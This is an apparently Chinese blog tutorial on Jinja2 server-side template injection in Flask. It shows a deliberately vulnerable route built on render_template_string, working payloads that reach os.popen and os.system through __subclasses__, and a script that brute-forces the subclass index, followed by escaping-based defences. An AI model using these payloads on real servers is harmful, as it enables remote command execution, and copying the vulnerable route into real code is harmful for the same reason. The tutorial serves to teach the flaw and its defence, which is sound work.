Python-Flask框架(四), jinja2模板注入

Python-Flask框架(四), 如何进行模板注入?

    • jinja2模板简介
    • 何为模板注入
          • 模板引擎(SST)
          • 模板注入(SSTI)
    • 如何进行模板注入
    • 如何防范模板注入
    • 结尾

jinja2模板简介

Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;

官方文档

何为模板注入

模板引擎(SST)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

如果没有SST,那python和html就是写在一个文件里,python代码和html代码混合coding这个,可想而知啊。。。

可是SST又是危险的,因为SST十分相信用户的输入,并且执行这些内容,甚至是本机函数都可以执行。

模板注入(SSTI)

模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果使用模板时并没用对用户的输入做任何处理或相信用户的输入,攻击者则可通过模板引擎执行系统命令,这就会造成模板注入。模板注入是可以防范的,下面会从攻 与 防进行介绍。

如何进行模板注入

flask后端代码

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    return '

不在这里,我的朋友

'
@app.route('/flag/') def flag(): code = request.args.get('id') html = ''' hello, do you have id ? , %s ''' % code return render_template_string(html) if __name__ == '__main__': app.run(host='0.0.0.0' , port='4321')

id=123
Python-Flask框架(四), jinja2模板注入_第1张图片
id={{ 2*2 }}
Python-Flask框架(四), jinja2模板注入_第2张图片
id={{ config }}
Python-Flask框架(四), jinja2模板注入_第3张图片
模板十分信任我的输入,这样就可以为所欲为了

XSS
Python-Flask框架(四), jinja2模板注入_第4张图片
SSTI
构造基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):

''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__

Python-Flask框架(四), jinja2模板注入_第5张图片
我们需要用到的是warnings.catch_warning所以遇到flask模板注入的时候,只要去找warnings.catch_warning即可
一般是在列表的第59个元素
或构造python脚本

import requests
url = "模板注入的url={{ [].__class__.__base__.__subclasses__()[%s] }}"
for i in range(200):
	url_all = url % i
	r = requests.get(url_all).text
	if 'warnings.catch_warning' in r:
		print(i, r)
		break

Python-Flask框架(四), jinja2模板注入_第6张图片
找到warnings.catch_warning就可以为所欲为了

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("ls /").read()}}

在这里插入图片描述

{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__["__builtins__"].__import__("os").system("ls /")}}

在这里插入图片描述
第二个payload其实也是成功执行了,但是只会返回数字,那内容去哪里的呢
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191124190919776.png
Python-Flask框架(四), jinja2模板注入_第7张图片
一般会在flask后台显示
第二种其实调用的是python里的

__import__('os').system('ls /')

在这里插入图片描述

如何防范模板注入

当需要让用户的输入改变页面内容时,就需要考虑,是否会造成模板注入。
两不

  1. 不要让"%s" 和 傻白甜render_template_string 单独在一起
@app.route('/')
def index():
	id = request.args.get('id')
	html = '''hello, %s''' % id
	return render_template_string(html) # 可以进行SSTI
  1. 绝对不能直接对用户的输入使用safe过滤器

{{ user_input|safe }}

建议

  1. HTML转义
    使用jinja2提供的escape()函数对用户传入的数据进行转义
from jinja2 import escape

@app.route('/')
def index():
	id = request.args.get('id')
	html = '''hello, %s''' % escape(id)
	return render_template_string(html)
  1. 自定义过滤器,过滤用户的输入
# python flask后端脚本 
from flask import Markup

@app.template_filter()
def musical(s):
    return s + Markup(' ♫')
.........
# html引用
{{ name|musical }}

结尾

欢迎各位老爷们点赞和评论,如果问题或者更优解,欢迎来评论

你可能感兴趣的:(Python,Flask框架开发,web)